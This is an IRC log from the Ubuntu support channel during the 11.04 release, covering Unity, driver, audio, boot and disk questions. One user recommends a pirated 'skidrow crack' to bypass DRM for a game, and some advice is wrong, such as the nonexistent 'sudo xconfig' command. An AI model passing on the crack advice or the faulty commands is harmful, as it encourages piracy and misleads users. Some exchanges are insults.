[03:25] <rileyp> Ziber is it muted is a laptop audio installed you are so vague noone will help you
[03:25] <ohsix> ChronicSyncope: it's finally shipping in natty, it can do quite a bit :]
[03:25] <xsinick> 1. where is the right click on the tool bar?
[03:25] <ChronicSyncope> ohsix, i don't think so, it's disabled in synaptic
[03:25] <Herbs> infact not 4 but 3
[03:25] <ohsix> xsinick: there isn't one, it's not a panel; it just looks like one
[03:25] <mordof> i'm gonna try and see about that
[03:26] <cvrser> dtcummin, not sure if it's possible then sry
[03:26] <arand> thanos: there is a log file viewer
[03:26] <xsinick> well how am I suppose to see all my cpu core  with the cpu scaling applet?
[03:26] <Herbs> dtcummin Its not possible
[03:26] <xsinick> :(
[03:26] <ChronicSyncope> ohsix, although when i click on monitor in system it doesn't force me to use the nvidia applet, which is suspicious, but i was playing portal 2 in wine a few minutes ago
[03:26] <topramen> hello
[03:26] <ohsix> xsinick: you need a panel if you want that, don't use unity; pick the classic session on othe login screen
[03:26] <rileyp> ziber ther are usually 2 or 3 difeernt audio input channels you need to select int mic as default perhaps
[03:26] <dtcummin> Herbs, so I just have to start over?
[03:27] <Ziber> rileyp: Where?
[03:27] <Surlent777> xsinick: some things are being dumped. If you don't like the changes, choose Ubuntu Classic from the login screen. Problem solved.
[03:27] <ohsix> ChronicSyncope: paste the output of glxinfo to a pastebin (run it in a terminal)
[03:27] <mordof> ChronicSyncope: portal 2 works in wine!?
[03:27] <Herbs> unless you have another drive to put the partitions on then yes
[03:27] <OchoZero9> i think i may not have the right driver
[03:27] <rileyp> do you have desktop mixer panel?
[03:27] <ohsix> Surlent777: it's not really dumped, it was just never added; it's a new implementation
[03:27] <ChronicSyncope> mordof, yes just install the skidrow crack and run it with padsp wine portal2.exe from the directory
[03:27] <xsinick> Surlent777:  thanks I will try that
[03:27] <arand> thanos: You could "sudo umount /mnt" and "sudo mount /dev/sda3 /mnt" again and then see if there have been any additions to the logs
[03:27] <mordof> ChronicSyncope: ah
[03:27] <topramen> is there a linux sms app
[03:27] <ohsix> ChronicSyncope: ehhh i don't care, but a lot of people do talking about cracked software and stuff
[03:27] <yi`zhi> woo! anyone upgrading to narwhal right now?
[03:28] <yi`zhi> i could get rid of docky right?
[03:28] <Surlent777> ohsix: Fair enough. I forgot that.
[03:28] <dtcummin> Herbs, ok thanks
[03:28] <shane4ubuntu> well, in less than just a few hours I managed to break unity, and am back in the classic gnome desktop
[03:28] <arand> topramen: sms?
[03:28] <robin0800> rileyp, check alsamixer in a terrminal
[03:28] <xsinick> I got dual screens and it seems really screwed up
[03:28] <ChronicSyncope> ohsix, it's cracked because drm breaks wine, not because i dont own it. i bought it.
[03:28] <topramen> yes sms
[03:28] <rileyp> ziber terminal $alsamixer lol
[03:28] <ohsix> ChronicSyncope: right, people don't understand the distinction generally; just a heads up
[03:28] <ChronicSyncope> ohsix, it's actually the recommended fix on winehq
[03:28] <yi`zhi> shane4ubuntu, how do you feel about unity?
[03:28] <ohsix> ChronicSyncope: i know
[03:28] <thanos> arand, umount: /mnt: device is busy.         (In some cases useful info about processes that use          the device is found by lsof(8) or fuser(1))
[03:28] <xsinick> double  taskbar time and date widgets
[03:28] <milligan> I've booted a machine with the ubuntu rescue console. There are two harddrives in the machine. I'm trying to back up one harddrive to the other using dd (dd if=/dev/sda of=/dev/sdb) . It's been sitting there for quite a few hours now. How long should I expect it to take ?
[03:28] <Herbs> Im not an ubuntu user but isnt unity buggy as hell?
[03:29] <Surlent777> Herbs: it was, but now it's significantly less so
[03:29] <shane4ubuntu> yi`zhi: not impressed, although, now it appears I broke gnome too, so perhaps this is a compiz/natty problem
[03:29] <ohsix> ChronicSyncope: that's advice from other users, upstream would prefer bugs that keep copy protectionf rom not working being fixed
[03:29] <Ziber> rileyp: "connection refused"
[03:29] <mordof> ohsix: what would one look for in glxinfo?
[03:29] <xangua> !ot | Herbs
[03:29] <ubottu> Herbs: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[03:29] <xsinick> Herbs:  yes it is
[03:29] <yi`zhi> shane4ubuntu, hehe
[03:29] <arand> thanos: Ah, right, hmm, I guess you need to exit the ls that is stuck trying to access it.
[03:29] <armor-64> hi guys i want to remove the sidebar from ubuntu 11.04!i don't know how to do it,please help
[03:29] <xsinick> I'm on it now and it is screwy
[03:29] <mordof> ohsix: i'm also wondering about the driver since i'm in the same situation
[03:29] <yi`zhi> i have no clue about unity :(
[03:29] <Herbs> !get a grip | xangua
[03:29] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[03:29] <spungo> ohsix: I can't make much sense of the output from powertop :( Doesn't seem to mention CPU frequency, just 'wakeups' (whatever they are)
[03:29] <ohsix> mordof: look at the vendor string, it should signal rather clearly if it's the proprietary or nouveau driver
[03:29] <thanos> how
[03:29] <mordof> ohsix: NVIDIA Corporation
[03:29] <mordof> :\
[03:29] <ohsix> spungo: OK, did you do anything to disable acpi?
[03:29] <arand> thanos: Or you could just look at the logs and try to find it anyways, it shouldn't be too hard
[03:29] <Surlent777> armor-64: on the login screen, choose Ubuntu Classic Desktop. That will revert the changes
[03:29] <Herbs> wasnt off topic gui noog
[03:30] <shane4ubuntu> ok, what is the desktop??? used to be metacity, I guess that is no longer true??
[03:30] <Herbs> noob*
[03:30] <ChronicSyncope> mordof, obviously no co-op with that setup, also if you choose to go that route, you'll also have to do winetricks glsl-disable in your portal folder with the exe in it, and it runs super smooth
[03:30] <xsinick> gonna go classic
[03:30] <xsinick>  see if that work
[03:30] <spungo> ohsix: not as far as I know...
[03:30] <xsinick> works
[03:30] <armor-64> surlent777: thanks man
[03:30] <ohsix> Herbs: that is offtopic
[03:30] <yi`zhi> shane4ubuntu, if upgrade to narwal, i could remove docky right? do i also still need compiz to do cool desktop switching?
[03:30] <mordof> ChronicSyncope: no co-op, that's a fail.. i'll dual boot windows just for that game, lol
[03:30] <ohsix> Herbs: this is a support channel
[03:30] <xsinick> I like the side bar icon thing
[03:30] <rileyp> ziber type alsamixer in a terminal window or tty session
[03:30] <xsinick> can you scale it?
[03:30] <ohsix> spungo: post the output of dmesg to a pastebin
[03:30] <thanos> arand,  can i sent you the file?
[03:30] <OchoZero9> ohsix: I ran /usr/lib/nux/unity_support_test -p and all the test passed fine. it says Unity supported: yes
[03:30] <ChronicSyncope> mordof, agree'd but I don't have time to play the co-op until summer, so i've got some time to work the bugs out :p
[03:30] <shane4ubuntu> yi`zhi: I have no idea, don't mess with compiz, I have already botched both my desktops.
[03:31] <Surlent777> xsinick: Yes. Use ccsm (the compiz configuration tool) and look under the unity plugin, icon scaling
[03:31] <rileyp> is there any way a remote can type letters in x with the 1 -9 buttons
[03:31] <robin0800> armor-64, you cant remove it but can hide it forever
[03:31] <ohsix> OchoZero9: i don't know what to say
[03:31] <shane4ubuntu> yi`zhi: that is unity and gnome
[03:31] <xsinick> Surlent777:  thanks
[03:31] <mordof> ChronicSyncope: ahh i see. if you get them worked out want to let me in on how to do it? lol
[03:31] <yi`zhi> shane4ubuntu, eek!
[03:31] <OchoZero9> say it crashes
[03:31] <arand> thanos: it should be in dmesg (you can just run "dmesg" in the terminal to see it.)
[03:31] <armor-64> and one question how to do this?
[03:31] <OchoZero9> how do you bring it back?
[03:32] <arand> thanos: Are there any suspicious errors by the end of that?
[03:32] <Herbs> so what was off topic exactly?
[03:32] <ohsix> OchoZero9: it should come back itself, but alt+f2 and run compiz --replace
[03:32] <ChronicSyncope> mordof, haha sure, you might not even need the aforementioned illegal fix in 11.04, check winehq
[03:32] <Surlent777> armor-64: log out, then on the login screen, at the bottom, it'll say "Ubuntu". Click that, and choose "Classic Desktop" or the closest thing to it.
[03:32] <Ziber> rileyp: thats what i did
[03:32] <dasy2k1> anyone any idea where /sys/devices/cpu/cpufreq/ondemand/ignore_nice_load has moved to with 11.
[03:32] <ohsix> Herbs: "i don't use, but isn't it buggy"
[03:32] <Herbs> the fact that unity is poo
[03:32] <celeryman> i need help with shotwell in ubuntu 11.04
[03:32] <dasy2k1> 11.04 that should have read
[03:32] <robin0800> OchoZero9, unity --restart
[03:32] <mordof> ohsix: i have the nouvou driver or w/e installed.. i'm not sure which it's using
[03:32] <OchoZero9> alt+f2 didn't work
[03:32] <ohsix> Herbs: that's not a fact, and shouldn't be presented as such, that is your apparently not personally informed opinion
[03:33] <rileyp> ziber if alsamixer will not open you audio isnt installed correctly i would say
[03:33]  * dasy2k1 agrees with Herbs
[03:33] <OchoZero9> but ill try both. btw i put a terminal icon on the desktop just in case
[03:33] <ChronicSyncope> ohsix, what happened to the tab in appearence prefs that allowed you to turn on wobbly windows and such?
[03:33] <armor-64> thanks guys for the help!i find it,i needed this so much see ya
[03:33] <ohsix> mordof: if it says nvidia corporation it's the proprietary driver
[03:33] <Herbs> oh dear ubuntu wannabe m$
[03:33] <OchoZero9> brb
[03:33] <ohsix> ChronicSyncope: that was gone a while ago iirc
[03:33] <Soothsayer> What about selecting a swap space during installation?
[03:33] <amorton> anyone know of a way to do this (http://www.paragon-software.com/business/net-burner/) in linux?
[03:33] <mordof> ohsix: k.. that's annoying, i'm getting slow response on desktop applications
[03:33] <ChronicSyncope> ohsix, i had it in 10.10 :p
[03:33] <kristianpaul> 11.04 is next LTS version?
[03:33] <xsinick> CAN"T TAKE IT  GONNA REBOOT  TO CLASSIC
[03:33] <Surlent777> Herbs: Why bother complaining about how terrible it is in a support channel when you don't use it and can't even make a coherent case? Complain in #ubuntu-offtopic, the bugs listings, or just drop it before someone gets annoyed and calls for a ban
[03:33] <xangua> kristianpaul: no
[03:33] <Soothsayer> the installer is giving me a warning that I haven't selected a partition for the swap space.
[03:33] <ohsix> Herbs: please, if you don't have any questions or need any help, don't speak; there are lots of people talking
[03:33] <dasy2k1> Herbs unity looks more like Mac to me with that blasted dock and the menus being in the top bar
[03:33] <Ziber> rileyp: well, trying to reinstall
[03:33] <xangua> Herbs:  stop the offtopic here
[03:34] <kristianpaul> ah ok, yeah i tought time passed too fast.. ;)
[03:34] <kristianpaul> bye
[03:34] <thanos> arand,  http://paste.ubuntu.com/600566/
[03:34] <lestat__> vulvuzela
[03:34] <Herbs> suelent777 who asked any of you to make judjements on what I say?
[03:34] <Ziber> reinstalled, same issue
[03:34] <spungo> ohsix: http://pastebin.com/U7bsr75Y
[03:34] <fezzik02> I can't get 11.04 to boot at all
[03:34] <Surlent777> Herbs: you, by posting them in a public forum
[03:34] <ohsix> Herbs: one need not ask; this is a help channel, and we all know it
[03:34] <robin0800> Soothsayer, yes you need a seperate swap space
[03:34] <xsinick> I sure the devs got all these issues  presented to them before hand and it was ignored
[03:34] <Herbs> I said one thing about a gui and got slated ahove your ubuntu up your ass
[03:35] <rileyp> look in synaptic try and play a sound using aplay etc if these thing show problems go to the ubuntu forums multimedia thread it has setup of everything in there so you can play any and everything and set upof sound devices and video and dvd etc
[03:35] <rgoytacaz> Hello there, Just installed 11.04 on my Vosto 3300 and it didnt install the nvidia drivers. so no flashiness. Is it working?
[03:35] <ohsix> Herbs: please, if you don't have any questions or need any help, don't speak; there are lots of people talking
[03:35] <Bronz> I know you guys are busy, but I still hope for some help with booting the LiveCD on a computer with an NVIDIA GeForce 7800 GT, 256Mb...
[03:35] <shane4ubuntu> ok, anyone with actual knowledge about enabling desktop cube with unity?  I tried ccsm and that was very bad news.
[03:35] <Herbs> Red hat / centos / fedora / slack ware > ubuntu
[03:35] <toto654> hello....i add a bad server to synaptic....i cant recharge the servers wont let me use synaptics
[03:35] <Bronz> The computer will freeze upon starting the graphical environment. I'd get the "ubuntu" splash screen (with the progressive dots), then blink to a garbage screen of static, and the computer would freeze.
[03:35] <IdleOne> Herbs: Please mind the language
[03:35] <fezzik02> It is busy here, you'd  think there was a recent release or something
[03:35] <xangua> shane4ubuntu: saw a post about that on omgubuntu blog
[03:35] <diaoer> if you have more pritation you hd may crash
[03:35] <dasy2k1> rgoytacaz: look in restricted drivers (in system) check its activated
[03:35] <Herbs> sorry for the language
[03:36] <shane4ubuntu> xangua: ok, thanks, I will check it out.
[03:36] <Herbs> but just because I made a comment about unity ffs
[03:36] <mordof> seems a lot of people are commenting on the proprietary drivers
[03:36] <mickster04> diaoer: i don't think that is a correct correlation
[03:36] <rgoytacaz> dasy2k1: aditional drivers?
[03:36] <xangua> shane4ubuntu: omg!ubuntu! or webupd8, can't remember with blog
[03:36] <gogeta> arand: zlib compressed btrfs root install no error other then the one you said would happon
[03:36] <rpk> My dad is getting a ubi-partman error when attempting to install ubuntu x64 11.04 final, any help?   ... not the best first impression... :(
[03:36] <diaoer> why?
[03:36] <shane4ubuntu> xangua: I will find it thanks.
[03:36] <dasy2k1> rgoytacaz:  yeh new name same program
[03:36] <fezzik02> Yeah, my 11.04 won't install at all.
[03:36] <rgoytacaz> dasy2k1: says its currently activated but not in use.
[03:37] <fezzik02> Ok, correction - it installs, but no boot
[03:37] <mickster04> diaoer: more partitions doesn't mean the harddrive will break sooner?
[03:37] <diaoer> but my hd crash last night
[03:37] <mordof> rpk: what's the error, and what hardware do you have?
[03:37] <dragonkeeper> Herbs if you dont like unity dont use it . same for ubuntu
[03:37] <rileyp> Bronz start to a prompt and remove type sudo xconfig and then type startx that should give tyou basic grahpics then google how to install your nvidia drivers
[03:37] <dasy2k1> rgoytacaz:  deactivate then reactivate then reboot, should work then
[03:37] <multipass> in 11.04 how do i change it so when i move the mouse cursor over the edge it changes workspace?
[03:37] <mickster04> diaoer: not related to the number of partitions i can bet
[03:37] <arand> thanos: Yea, that is something wrong there. What you might want to do is find a liveCD with a very new version of the kernel, (Fedora, or yet newer) and see if you can mount it from there instead. I'm not sure you'll be able to do much more from the buuntu kernel version.
[03:37] <rgoytacaz> dasy2k1: it error'd out during installation
[03:37] <rgoytacaz> dasy2k1: will try, brb.
[03:37] <Herbs> what happened to frees speech and "open source"
[03:37] <rpk> mordof: ubi-partman exit code 141, on the screen after the checklist
[03:37] <Herbs> get a grip
[03:37] <diaoer> yes but i can`t mount partitions to /home/**
[03:37] <xangua> !ot | Herbs
[03:37] <ubottu> Herbs: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[03:37] <robin0800> shane4ubuntu, http://www.omgubuntu.co.uk/2011/04/compiz-cube-natty/
[03:37] <fezzik02> Herbs, stfu and gtfo
[03:38] <gogeta> Herbs: lol the is your free speech is limited to the ops wims
[03:38] <Bronz> rileyp: thanks, how do I start the liveCD to a prompt instead of graphical?
[03:38] <rgoytacaz> dasy2k1: just one more thing, Im on sdd, is it on automatic trim by default? or should I just do that same procedure for 10.04?
[03:38] <gogeta> irc
[03:38] <ohsix> spungo: hmm, i dunno, everything that'd make it work is there; i don't personally pay attention to the eee stuff, but eee_laptop might have changed between then and now, i'd look there first
[03:38] <shane4ubuntu> robin0800: thanks
[03:38] <yi`zhi> Herbs, those are concepts to stabilize society. much like religion. duh
[03:38] <Herbs> you guys are making it off topic for one comment I made think on!
[03:38] <yi`zhi> -_-
[03:38] <IdleOne> !language | fezzik02
[03:38] <ubottu> fezzik02: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[03:38] <dasy2k1> rgoytacaz:  no idea on that one
[03:38] <fezzik02> lol
[03:38] <rgoytacaz> dasy2k1: thanks :)
[03:38] <xsinick> ahhh
[03:38] <Bronz> Also rileyp: what do you mean "remove type sudo xconfig"?
[03:38] <arand> fezzik02: Please don't further things. Someone will take care of it if it continues.
[03:39] <xsinick> Classic solved all the issues
[03:39] <ohsix> Herbs: this is a help channel, it's not a free speech thing, what you are doing right now is completely antithetical to what the channel is, and you don't even suggest that you are here to get support for a problem you are having; that annoys people
[03:39] <thanos> arand,  fedora its ok?
[03:39] <fezzik02> I just want to know why my 11.04 can't boot, that's all.
[03:39] <xsinick> Classic is the shiznit
[03:39] <rpk> mordof: mobo is gigabyte: p67a-ud7-b3
[03:39] <Soothsayer> ok installing now :)
[03:39] <rileyp> Bronz are you trying to run from a live cd or install from alive cd
[03:39] <shane4ubuntu> how about getting things to show up in the notification area?  anyone know about that?  there a many apps that I use and like them up there.
[03:39] <mordof> rpk: did some googling, there's a bunch of investigation going on about that error
[03:39] <thanos> arand,  you think its kernel problem?
[03:39] <spungo> ohsix: thanks for the help - i'll leave it for another day, it's clearly peak support season right now!
[03:39] <fezzik02> And I think that suggesting that those abbreviations are tantamount to swearing is silly, but I don't care, just tell me how to make the darned thing work.
[03:39] <rpk> ahhhhhhhhhh wtf.
[03:39] <rileyp> if running from a live cd do not choose nvidia driver in setup
[03:39] <arand> thanos: Hmm, Well frankly not sure if it will make much difference...
[03:39] <ohsix> spungo: it surely is interesting :]
[03:39] <Soothsayer> its very thoughtful that I can use firefox during the installation.
[03:39] <xsinick> can I put the fancy side bar on classic
[03:40] <xsinick> ?
[03:40] <mordof> rpk: when did you download the iso for the installer?
[03:40] <Herbs> shix I aid one thing Im here for the support you guys are going on 1 because I made a comment about unity
[03:40] <rpk> morfof: 30 minutes ago or so
[03:40] <van7hu> them an trung ga :)
[03:40] <arand> thanos: It is a btrfs problem, but btrfs is part of the kernel, so the newer the kernel, the more bugfixes btrfs has.
[03:40] <fezzik02> Anybody else having the same problem? 11.04 won't boot?
[03:40] <Bronz> rileyp: eventually install, but right now just vboot. I can't do either because of the freeze. If I can get the basic graphics you say, that should be enough; I can install nvidia-current on my own after that.
[03:40] <ohsix> xsinick: you probably can, just turn on the unity plugin in ccsm, and use compiz as your wm, it's not designed to work like that, but it might be OK
[03:40] <xangua> xsinick: no
[03:40] <mordof> rpk: do you have internet access? most of the reports are listing that there's no internet access during install :\
[03:40] <Herbs> propertry Linux
[03:40]  * dasy2k1 thinks the flames should be sent to #ubuntu-offtopic
[03:40] <xangua> ooh maybe
[03:40] <ohsix> xsinick: or it might not, if the unity plugin draws the boxes that are in the middle, then you can't just get the bar
[03:40] <rpk> yeah, all the check boxes are checked
[03:40] <thanos> arand,  data are there you think?
[03:41] <xangua> xsinick: if you are looking to use unity with no compiz there is 'unity 2d'
[03:41] <arand> thanos: Hang on, actually, try using the mainline kernel.
[03:41] <rpk> though windows 7 needs a driver installed to connect to the internet
[03:41] <arand> !mainline | thanos
[03:41] <ubottu> thanos: The kernel team supply continuous mainline kernel builds which can be useful for tracking down issues or testing recent changes in the Linux kernel. More information is available at https://wiki.ubuntu.com/Kernel/MainlineBuilds
[03:41] <fezzik02> So... I ask for help, and I get ignored... but people have time to give me a hard time for swearing?
[03:41] <rgoytacaz> dasy2k1: Cant remove the driver, says InstallArchives() failed.
[03:41] <ohsix> Herbs: do you need help? i simply asked you to stop speaking if you don't need help, there are already a lot of people talking
[03:41] <mordof> rpk: if you could get your logs from the error it'd be helpful
[03:41] <rileyp> Bronz often graphics fail because they are not set up correctly and leave you with no screen. To avoid this use default video drivers and they will work. This will get your system up and running have aplay then google how to install nvidia drivers and do so accordingly
[03:41] <xsinick> well
[03:41] <xsinick> it ok
[03:41] <Herbs> oshix sort your stuff out you wannabe
[03:41] <rpk> mordof: how would I do that?
[03:41] <xsinick> I don't need preety
[03:41] <lestat__> hehe
[03:41] <ohsix> Herbs: is that a question?
[03:41] <fezzik02> Is there some way to force default drivers?
[03:41] <robin0800> shane4ubuntu, three choices find an indicator equivalent whitelist the indicator area or use unity 2d
[03:41] <Macer> is there some way that i can make it so if an nfs goes down that users would be redirected to a secondary home ?
[03:41] <Herbs> whats youyr prob?
[03:42] <Bluebill-Wolf> is it preferable to install in to the oem mode?
[03:42] <xsinick> preety I'm just a power user that need solid
[03:42] <Bronz> rileyp: OK, how do I tell the live-CD to boot using default video drivers?
[03:42] <mordof> rpk: use a live cd and check /var/log/syslog
[03:42] <lestat__> kuel
[03:42] <arand> thanos: Yes, I would guess that the data is still there, but whether or not you can get to it, I don't know..
[03:42] <ohsix> fezzik02: you're getting a black screen, right?
[03:42] <mordof> rpk: on your main partition that you're installing on i mean, for that directory to check
[03:42] <lestat__> Herbs like you atitude
[03:42] <dasy2k1> rgoytacaz:  have to pass you on to somone more experianced then, thats going beyond what i have experianced getting nvidia to work
[03:42] <Macer> i want to use an nfs for home but if it goes down i want users to be redirected to a local directory for their home (one that can be synced with the nfs with cron or something)
[03:42] <fezzik02> Is there any place that I can look for a boot up log?
[03:42] <Herbs> ok oshix help me with this an ubuntu server tty12 keeps respawning on login?
[03:42] <ohsix> lestat__: do you need help?
[03:42] <rpk> the installer didn't get far enough to select the partition
[03:42] <Herbs> tty1*
[03:42] <rpk> mordof^^
[03:43] <Bluebill-Wolf> is it preferable to install in to the oem mode?
[03:43] <xsinick> ohsix:  Once devs fix  the Unity issues some more then I'l sitch
[03:43] <arand> thanos: Install the latest kernel from the mainline (instructions on the wiki) and then reboot into that kernel and try mounting it again.
[03:43] <xsinick> switch*
[03:43] <rileyp> Also rileyp: what do you mean "remove type sudo xconfig"?  to remove any nvidia created xorg.conf which most probably is casing your x screen to fail  by typeing sudo xconfig a std xorg.conf will be created using std driversl
[03:43] <rpk> mordof: it fails as you click next on the screen with the checkboxes (space, internet access)
[03:43] <lestat__> ohsix just watching
[03:43] <shane4ubuntu> robin0800: I found the whitelist  thing, but was unable to locate it in gconf-editor, seems that has changed.
[03:43] <ohsix> xsinick: most people are complaining about cosmetic issues; they're not trying to convince you to switch or anything
[03:43] <Herbs> thought youd shut up
[03:43] <Bluebill-Wolf> I'll take that as an idk
[03:43] <fezzik02> *** HELP ME PLEASE *** I cannot get a fresh install of 11.04 to boot
[03:43] <ohsix> xsinick: it's just simpler and more forward looking, with tablets and netbooks
[03:43] <ChronicSyncope> ohsix, does using gnome classic disable compiz?
[03:43] <ohsix> fezzik02: boot how?
[03:43] <dasy2k1> anyone know where the cpu scaling settings (like ignore nice load) have moved to (used to be in /sys/devices/cpu/cpufreq)??
[03:43] <thanos> arand,  can i make with live cd?
[03:44] <arand> ChronicSyncope: Nope
[03:44] <robin0800> shane4ubuntu, it there yesterday
[03:44] <ohsix> ChronicSyncope: no, you can still use it as your window manager
[03:44] <rileyp> bronx do not select nvidia
[03:44] <arand> thanos: You won't need to with the mainline
[03:44] <fezzik02> Like, I power on the computer, it gives me the GRUB 2 menu, and that's all
[03:44] <ohsix> dasy2k1: i don't recall that entry ever, what kernel were you running?
[03:44] <xsinick> ohsix:  I understand
[03:44] <multipass> in 11.04 gnome how do i make cursor flip workspace?
[03:44] <lainy> After upgrading to the latest Ubuntu, my Conky's {acpi} no longer displays my CPU temperature. Any clue? Thanks.
[03:44] <fezzik02> It sits and spins for about a minute then locks up tight as a drum
[03:44] <ohsix> fezzik02: so after an install?
[03:44] <lainy> {acpitemp}*
[03:44] <robin0800> shane4ubuntu, think you need the terminal
[03:44] <mordof> rpk: hmm.. there should be a way to get the installer to install with debug output
[03:44] <shane4ubuntu> robin0800: I didn't see it, let me doublecheck, I was looking at a web page that pointed me to desktop -> Unity -> panel or something like that.
[03:44] <fezzik02> Yes, I'm on live cd now
[03:44] <Bluebill-Wolf> so ubuntu 11.0 is bugged I take it?
[03:44] <dasy2k1> ohsix: the stock one AFAIK on 10.10
[03:44] <Rehan> if I'm going to completely wipe my 10.10 install and install 11.04 in its place, what are some steps I should take before wiping (besides backing up my data) that will let me get back to the same setup on 11.04? Thanks!
[03:45] <xsinick> blender window is opening  wacky
[03:45] <ohsix> xsinick: fwiw it doesn't suit me without a proper panel, the panel is make or break for me
[03:45] <rpk> mordof: I had him check from the livecd mode, he can get to the internet from the livecd at least
[03:45] <Bronz> rileyp: I mean, if I load the live-CD, it will attempt to go into graphical mode on its own; how do I stop it from doing that? How do I tell it to use "default" or "safe" video drivers when booting?
[03:45] <Rehan> Bluebill-Wolf: the ubuntu versions are just based on when they're released. 11 = 2011, 04 = April
[03:45] <ohsix> dasy2k1: hmmmm
[03:45] <arand> fezzik02: If you edit the menu entry and remove "quiet splash" and then boot via [Ctrl+x] does it show any interesting error messages?
[03:45] <fezzik02> arand: let me try that
[03:45] <dasy2k1> ohsix:  used to set /sys/devices/cpu/cpufreq/ondemand/ignore_nice_load to 1 to stop boinc maxing my cpu all the time
[03:45] <fezzik02> bbl
[03:45] <shane4ubuntu> robin0800: got a link to what you are looking at?
[03:45] <xsinick> any body with Dual screens
[03:45] <xsinick> and Blender
[03:45] <ohsix> dasy2k1: ah the governor options
[03:45] <xsinick> ?
[03:46] <xangua> !anyone | xsinick
[03:46] <ubottu> xsinick: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.
[03:46]  * Bluebill-Wolf head tilts "ahh  (the more you know)"
[03:46] <robin0800> shane4ubuntu, http://www.omgubuntu.co.uk/2011/01/the-omg-guide-to-must-have-indicator-applets/
[03:46] <Bluebill-Wolf> thanks
[03:46] <Bluebill-Wolf> ^_^
[03:46] <rileyp> ziber http://ubuntuforums.org/showthread.php?t=766683
[03:46] <mordof> rpk: sorry, i don't know enough about this to get anywhere :\ lol
[03:46] <ohsix> dasy2k1: theres one for each cpu, and /sys/devices/system/cpu/cpufreq/ondemand/ignore_nice_load
[03:46] <dasy2k1> ohsix:  yeh the governer settings, cant seem to find them now
[03:46] <shane4ubuntu> robin0800: you are a pro, thanks!
[03:46] <mordof> rpk: was hoping i could at least get you in the right direction
[03:46] <rileyp> ziber that will fix any audio issue you have :D
[03:46] <octillion> Rehan:  If you have a large enough external drive, you can just dump an image of your current HDD with dd
[03:47] <mordof> rpk: if you could find out how to get logs to show for when you're getting that error -it'd be helpful in resolving the problem at least
[03:47] <soja> when i try to enter in windows from GRUB, the screens turns black and then i come back to GRUB, what's wrong?
[03:47] <robin0800> shane4ubuntu, http://www.omgubuntu.co.uk/2011/03/how-to-hide-or-show-app-tray-applets-in-ubuntu-11-04/
[03:47] <thanos> arand,  just donwload  the deb?
[03:47] <Rehan> octillion: i have a 500 gb drive with a lot of free space but my ubuntu is on a 10gb partition and the remaining 490 is a win7 partition. Anything I could do?
[03:47] <dasy2k1> ohsix:  ahh missing the extra system, found them now
[03:48] <Bronz> rileyp: Don't forget about me! How do I boot a liveCD without it trying to use the nvidia graphics (or whatever is causing it to freeze when starting the graphical env)?
[03:48] <xsinick> Anyone has  duals screens and Blender in window mode?  I run blender window mode and it streched off screen I have a nvidia geforce card with the plugin running
[03:48] <octillion> just dd the partition with ubuntu
[03:48] <dasy2k1> ohsix:  thought somone had moved them :-o
[03:48] <arand> thanos: Yes, three of them (header image and and another which i don't remeber the name of)
[03:48] <Bronz> rileyp: (thanks for the help, though 8-))
[03:48] <Herbs> Id use rscync over dd
[03:48] <xsinick> in previous  Ubuntu version  it all worked fine
[03:48] <ohsix> dasy2k1: find | grep ftw
[03:48] <Rehan> octillion: can i pm?
[03:48] <fezzik02> Ok, back
[03:48] <dasy2k1> lol true
[03:48] <octillion> Rehan: sure
[03:48] <arand> thanos: There should be instructions on how to install on the wiki
[03:48] <afroman> what is the best way to wipe out a hard drive?
[03:49] <ChronicSyncope> grrr...
[03:49] <CrouchingTiger> Ahhh!!! Its Fezzik!!! Andre??
[03:49] <ohsix> xsinick: in old versions using compiz or not using compiz?
[03:49] <dasy2k1> afroman:  draks boot and nuke
[03:49] <usr13>  afroman Best way?
[03:49] <fezzik02> John, as it were.
[03:49] <rileyp> Bronz If live cd will not boot for you and your not selcting nvidia I cant help sorry. I never use livecd.
[03:49] <fezzik02> dban
[03:49] <xsinick> hmm
[03:49] <ohsix> xsinick: nvidia dirvers have some awful gotchas with multiple outputs, and they don't do xrandr 1.2+
[03:49] <rpk> mordof: is there anywhere else I can ask to get more help?
[03:49] <ChronicSyncope> i got wobbly windows working, but desktop cube still kills my theme, and whenever i restart classic gnome, my desktop setup is 2x2 instead of 4x1
[03:50] <mordof> rpk: no idea.. i'd just try re-stating the problem here and hopefully someone else will pick up on it
[03:50] <CrouchingTiger> hey all, im using backtrack4 r2 on a live usb stick. I am quite happy with the speed
[03:50] <dasy2k1> rpk ubuntuforums.org
[03:50] <xsinick> I think compz was on on my past installl
[03:50] <anonemoose> Minor question.... What are some good, _tested_, and stable programs for burning DVD+Rs?
[03:50] <fezzik02> Ok, so I tried without quiet nosplash in GRUB2, same result
[03:50] <Bronz> rileyp: Yeah, I'm not actively selecting anything; I don't see any options to change the video either. Thanks for the help, though, it is going in the right direction. I'll try the alternative disk to see if any ideas pop up.
[03:50] <ohsix> ChronicSyncope: i had lots of compiz crashes when i was trying to set up my old settings, i don't think they tested much more than what unity would use
[03:50] <usr13> afroman: as in most thoural?
[03:50] <rpk> ok, I see a couple open bug reports
[03:50] <kathie> I've been using Ubuntu for four years now. I'm finding this new release harder to use. You have to search for programs?
[03:50] <fezzik02> Nothing shows on the screen
[03:50] <rpk> http://fossplanet.com/f10/%5Bbug-757720%5D-re-ubi-partman-crashes-exit-code-141-during-liveinstall-143862/
[03:50] <ohsix> CrouchingTiger: we don't support a lot of variants like backtrack here
[03:50] <soja> when i try to enter in windows from GRUB, the screens turns black and then i come back to GRUB, what's wrong?
[03:50] <afroman> usr13: a way to clean the hd so that nothing can be retrieve after
[03:51] <mordof> rpk: yeah..
[03:51] <arand> fezzik02: Hmm, I would try reinstalling grub.
[03:51] <Bronz> Congratulations guys on the new release. If I still have troubles I'll come back in a day or two, hopefully the traffic will have subsided a bit by then.
[03:51] <xangua> kathie: you can add it to the panel/sidebar/launcher
[03:51] <arand> !grub | fezzik02
[03:51] <ubottu> fezzik02: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
